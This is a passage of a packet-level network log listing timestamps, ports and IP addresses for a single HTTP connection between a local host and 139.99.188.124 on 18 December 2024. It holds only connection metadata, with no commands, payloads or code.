Dec 18, 2024 09:13:14.933428049 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.933480024 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.933528900 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.935190916 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.935249090 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.935308933 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.936978102 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.937053919 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.937287092 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.938570976 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.938640118 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.938673973 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.940464973 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.940525055 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.940545082 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.941952944 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.942020893 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.942025900 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.943588972 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.943645000 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.943746090 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.945255041 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.945333958 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.945337057 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.946912050 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.946990967 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.946993113 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.948508024 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.948560953 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.948648930 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.950089931 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.950135946 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.950180054 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.951791048 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.951850891 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.951855898 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.953303099 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.953372955 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.953377008 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.955152035 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.955195904 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.955210924 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.956445932 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.956496954 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.956561089 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.958224058 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.958281994 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.958339930 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.959589005 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.959676981 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.959713936 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.961177111 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.961247921 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.961275101 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.962671995 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.962730885 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.962863922 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.964442015 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.964505911 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.964540005 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.965277910 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.965315104 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.965352058 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.966048956 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.966105938 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.966114998 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.966952085 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.967009068 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.967046976 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.967884064 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.967991114 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.967997074 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.968799114 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.968862057 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.968905926 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.969705105 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.969762087 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.969774961 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.970665932 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.970717907 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.970750093 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.971008062 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.971641064 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.971694946 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.971863031 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.972457886 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.972508907 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.972523928 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.973412991 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.973484993 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.973526001 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.974375963 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.974389076 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.974447012 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.975212097 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.975260973 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.975281954 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.976099968 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.976154089 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.976197004 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.977020025 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.977087975 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.977133036 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.977907896 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.977967978 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.978009939 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.978837013 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.978924990 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.978936911 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.979732990 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.979795933 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.979839087 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.980674028 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.980721951 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.980794907 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.981658936 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.981693983 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.981796026 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.982485056 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.982533932 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.982575893 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.983414888 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.983474970 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.983586073 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.984318972 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.984410048 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.984419107 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.985214949 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.985265970 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.985279083 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.986134052 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.986205101 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.986249924 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.987037897 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.987092972 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.987171888 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.988002062 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:14.988054037 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:14.988075018 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.043384075 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.043409109 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.043445110 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.081166983 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.086348057 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.090534925 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.090606928 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.090645075 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.090951920 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.090997934 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.091036081 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.092189074 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.092243910 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.092327118 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.092842102 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.092852116 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.092891932 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.106503010 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.114391088 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.114726067 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.114754915 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.114810944 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.115114927 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.115215063 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.115233898 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.115880966 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.115933895 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.116072893 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.116791010 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.116842985 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.116864920 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.117712975 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.117782116 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.117794037 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.118596077 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.118705988 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.118721008 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.119523048 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.119579077 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.119649887 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.120429993 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.120487928 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.120501995 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.120821953 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.121335983 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.121397018 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.121443987 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.122258902 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.122343063 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.122394085 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.123151064 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.123258114 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.123301029 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.124054909 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.124174118 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.124247074 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.124988079 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.125039101 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.125101089 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.125906944 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.125935078 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.125968933 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.125993013 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.126833916 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.126897097 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.126940012 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.127787113 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.127845049 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.127913952 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.128648996 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.128710985 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.128740072 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.129566908 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.129618883 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.129672050 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.130034924 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.130451918 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.130505085 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.130546093 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.131392956 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.131457090 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.131498098 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.132421017 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.132462025 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.132505894 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.133302927 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.133358002 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.133372068 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.134123087 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.134243011 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.134291887 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.135061026 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.135114908 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.135232925 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.135955095 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.135999918 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.136032104 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.136049986 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.136898994 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.136945009 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.137079954 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.137789011 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.137875080 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.137947083 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.138664007 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.138710022 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.138828993 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.139981985 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.140044928 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.140075922 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.140502930 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.140553951 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.140635014 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.141438961 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.141511917 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.141541958 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.142352104 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.142424107 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.142620087 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.143421888 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.143435001 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.143485069 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.144197941 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.144253969 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.144277096 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.145096064 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.145195961 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.145212889 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.145543098 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.145992041 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.146040916 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.146053076 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.146991968 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.147042036 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.147110939 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.147877932 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.147928953 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.147958994 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.148818970 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.148861885 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.148987055 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.149686098 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.149734974 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.149796963 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.150619030 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.150643110 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.150671959 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.151509047 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.151552916 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.151587963 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.151608944 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.152467966 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.152520895 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.152616978 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.153315067 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.153362036 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.153392076 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.154232979 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.154284000 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.154426098 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.155189991 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.155245066 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.155324936 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.156071901 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.156121969 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.156393051 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.157133102 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.157187939 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.157229900 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.157865047 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.157922983 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.157952070 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.158934116 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.158982038 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.159020901 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.159692049 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.159744024 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.159785986 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.160660982 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.160672903 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.160712957 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.161525965 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.161575079 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.162245989 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.162517071 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.162571907 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.162619114 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.163391113 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.163451910 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.163506985 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.164321899 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.164377928 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.164439917 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.305958033 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.306022882 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.306025028 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.306265116 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.306344032 CET	49716	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:15.306364059 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.307090044 CET	80	49716	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:15.307148933 CET	49716	80	192.168.2.5	139.99.188.124
